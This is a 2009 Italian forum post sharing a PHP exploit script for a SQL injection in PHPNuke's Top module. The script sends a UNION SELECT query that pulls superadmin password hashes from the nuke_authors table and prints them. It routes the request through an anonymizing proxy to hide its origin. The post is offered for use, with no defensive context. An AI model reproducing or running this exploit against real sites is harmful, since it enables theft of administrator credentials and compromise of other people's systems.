admin
Founder
Registrato: Oct 03, 2008
Messaggi: 261
|
 Inviato: Mer Apr 15, 2009 12:05 am Oggetto: [PHP-Exploit] PHPNuke Top Module Remote SQL Injection |
 |
|
| Codice: | <?php
/*
# PHPNuke Top Module Remote SQL Injection
# by Fabrizi Andrea 2005
# andrea.fabrizi [at] gmail.com
#
# Coded by luruke
# Return the admins' hashes
# Example: exploit.php http://www.php-nuke.org
*/
$data = array
(
"site" => $argv[1],
"proxy" => "http://anonymouse.org/cgi-bin/anon-www.cgi/",
"sql" => "/modules.php?name=Top&querylang=union+select+0,pwd,0,0+from+nuke_authors+where+radminsuper=1"
);
if(!isset($data["site"]))
die("Usage: exploit.php <site>\n");
if(!preg_match("/^http:\/\/www\.(.+?)\.(.+?)$/", $data["site"]))
die("Site URL Not valid (http://www.[site].[domain])\n");
$data["site"] = $data["proxy"].$data["site"].$data["sql"];
print "[-] Loading...\n";
if(preg_match_all("/[a-fA-F0-9]{32}/", file_get_contents($data["site"]), $md5))
foreach($md5 as $hash)
print "[+] ".$hash."\n";
else
print "Error\n";
?> |
|
|
FAQ
Cerca
Lista degli utenti
Gruppi utenti
Profilo
Messaggi Privati
Login
